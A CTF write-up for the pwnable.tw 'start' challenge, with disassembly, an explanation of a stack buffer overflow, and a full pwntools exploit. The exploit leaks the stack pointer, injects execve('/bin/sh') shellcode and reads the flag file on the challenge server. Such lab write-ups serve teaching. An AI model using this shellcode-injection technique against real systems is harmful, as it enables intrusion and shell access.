Categories
basic pwnable.tw

start

This is the first challenge of pwnable.tw. Fitting to it’s name, it requires some basic knowledge of buffer overflows and x86 assembly.

First, let’s see what kind of security it has built in:

Notice how the stack is executable, and there’s no stack canaries. This will come into play later.

We can disassemble the program with objdump -dM intel start:

start:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:	54                   	push   esp
 8048061:	68 9d 80 04 08       	push   0x804809d
 8048066:	31 c0                	xor    eax,eax
 8048068:	31 db                	xor    ebx,ebx
 804806a:	31 c9                	xor    ecx,ecx
 804806c:	31 d2                	xor    edx,edx
 804806e:	68 43 54 46 3a       	push   0x3a465443
 8048073:	68 74 68 65 20       	push   0x20656874
 8048078:	68 61 72 74 20       	push   0x20747261
 804807d:	68 73 20 73 74       	push   0x74732073
 8048082:	68 4c 65 74 27       	push   0x2774654c
 8048087:	89 e1                	mov    ecx,esp
 8048089:	b2 14                	mov    dl,0x14
 804808b:	b3 01                	mov    bl,0x1
 804808d:	b0 04                	mov    al,0x4
 804808f:	cd 80                	int    0x80
 8048091:	31 db                	xor    ebx,ebx
 8048093:	b2 3c                	mov    dl,0x3c
 8048095:	b0 03                	mov    al,0x3
 8048097:	cd 80                	int    0x80
 8048099:	83 c4 14             	add    esp,0x14
 804809c:	c3                   	ret    

0804809d <_exit>:
 804809d:	5c                   	pop    esp
 804809e:	31 c0                	xor    eax,eax
 80480a0:	40                   	inc    eax
 80480a1:	cd 80                	int    0x80

The program first pushes the stack pointer, then the return address (_exit). After that, it pushes 20 bytes, and prints them to stdout with the first int 0x80. dl specifies the amount of characters printed, which is exactly 20 characters (our 5 dwords). The program then reads 63 characters of user input with the second interrupt. This is where the vulnerability is.

We can overwrite string previously printed, along with 43 more bytes of used space. We can exploit this to overwrite the return address with, you guessed it, the stack pointer. The only issue is we don’t know where the stack is. While the binary doesn’t have PIE, where our data resides on the stack will still vary due to things such as environment variables. This binary is way to small and simple to do a ROP chain, so we’ll have to leak the stack.

If we go to address 0x8048087, we’ll print 14 characters of where we are on the stack. That add esp, 0x14 at the bottom moves our stack pointer past the string previously printed, meaning the first thing it will print is the stack pointer. By leaking the stack pointer, we can jump to the stack by overflowing the same prompt a second time.

Putting all these things together, we can overflow the return address to leak the stack pointer, calculate offsets from the leak, overflow the same prompt a second time, returning to a stack controlled by us:

#!/usr/bin/env python3
from pwn import *

# just setting things up
context.binary = './start'
proc = connect('chall.pwnable.tw', 10000)

# we perform our frst buffer overflow after it prompts us to leak the buffer
proc.sendafter('CTF:', p32(0xb) * 5 + p32(0x8048087)) # 24 bytes
stack_leak = unpack(proc.recv()[:4]) # stack leak, due to "push esp" in first instruction

# This is our payload
payload = b'/bin/sh\0' # 4 bytes worth
payload += asm('''
        push 0
        mov eax, 11
        mov ebx, {}
        mov ecx, {}
        mov edx, {}
        int 0x80
        '''.format(stack_leak + 20, stack_leak-60, stack_leak-60))

print(hex(stack_leak))
proc.send(p32(0xbbbb) * 5 + p32(stack_leak + 28) + payload)

proc.send('cat /home/start/flag\n')
print("The flag is \"{}\"".format(proc.recv().decode().strip()))

The exploit will hand over the flag!

Leave a Reply

Your email address will not be published. Required fields are marked *